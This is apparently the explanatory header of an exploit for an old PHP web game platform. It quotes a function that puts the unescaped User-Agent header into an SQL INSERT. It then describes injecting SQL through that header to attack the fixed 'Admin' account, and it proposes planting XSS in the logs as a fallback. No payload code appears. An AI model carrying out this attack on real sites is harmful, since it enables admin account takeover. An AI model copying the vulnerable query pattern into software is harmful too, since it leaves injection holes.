/*
This plattform is quite old, but i know that some guys tooked it for making some
indipendent project.. they may have took this bug to, so i'll ceck as soon as i
finish my last exam..

Vuln Explanation:

goto common.inc.php:

function insert_history($l_id,$i_text)
{
	global $db_name;
	if(empty($db_name)){
		$db_name = "None";
	}
	dbn("insert into user_history VALUES ('$l_id','".time()."','$db_name','".mysql_escape_string($i_text)."','$_SERVER[REMOTE_ADDR]','$_SERVER[HTTP_USER_AGENT]')");
}

$_SERVER[HTTP_USER_AGENT] is obviously not parsed by mq, so we can perform our sql-injection attack;
Because the admin name is always the same (Admin)we will attack this username, also because there isn't any counting
of the login attempts..

WARNING:

old version of mysql may not support subquerys, so the exploit wouldn't work.
to bypass this you can exploit the game sending an XSS into the log and praying that the admin
see it..
